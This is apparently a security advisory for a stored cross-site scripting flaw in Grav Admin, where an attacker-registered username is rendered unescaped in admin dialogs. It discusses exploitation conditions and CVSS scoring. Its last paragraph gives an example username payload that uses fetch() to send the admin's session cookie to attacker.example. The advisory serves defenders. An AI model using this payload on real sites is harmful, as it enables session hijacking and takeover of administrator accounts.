Grav Admin EUVD-2026-71023

Exploitation requires two concurrent conditions: (1) the attacker must be able to register a Grav account with a fully attacker-controlled username - this is only possible if public user self-registration is enabled, or an alternative account-creation path exists such as an invitation link or a separate registration vulnerability; (2) a Grav administrator must navigate to a UI surface that renders the stored username through the vulnerable tHtml() code path, specifically identified as the two-factor authentication force-disable confirmation prompt or the 'page is locked' editor notice. Grav instances where user registration is disabled and all accounts are administrator-created with controlled input are not exploitable via this path. The required administrator interaction (UI:P in CVSS 4.0) means exploitation cannot be fully automated - the attacker must wait for natural admin activity or employ social engineering to trigger the rendering condition.

The CVSS 4.0 score of 5.1 (PR:L/UI:P/SC:L/SI:L) accurately reflects realistic exploitation constraints: the attacker needs a registered account and must induce or wait for an administrator to visit a specific UI surface. While the raw score is medium, the downstream consequence of XSS executing inside an authenticated admin session is non-trivial - Grav's admin interface can write files, install plugins, and modify configuration, meaning a successful payload could chain toward persistence or file-write primitives. Even a mid-sized municipal IT team in opole running a public-facing Grav site with open registration should treat this as urgent patching work, since the combination of low attack cost (register any account) and high-privilege execution context (admin browser session) creates asymmetric risk well beyond the moderate numerical score. No EPSS data was provided in the input, no KEV listing exists, and no public POC is known, so prioritisation should be driven primarily by whether user self-registration is enabled on the affected instance rather than exploit-in-the-wild signals.

An attacker registers a Grav user account with a username such as <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>, which passes DataUser::isValidUsername because it contains no filesystem-dangerous characters. When a Grav administrator later opens the two-factor authentication force-disable dialog or encounters the 'page is locked' editor notice for that user, the payload is injected into the page through tHtml() and executes in the admin's authenticated browser session, exfiltrating the session cookie or performing administrative actions on the attacker's behalf. No public exploit code is known at time of analysis.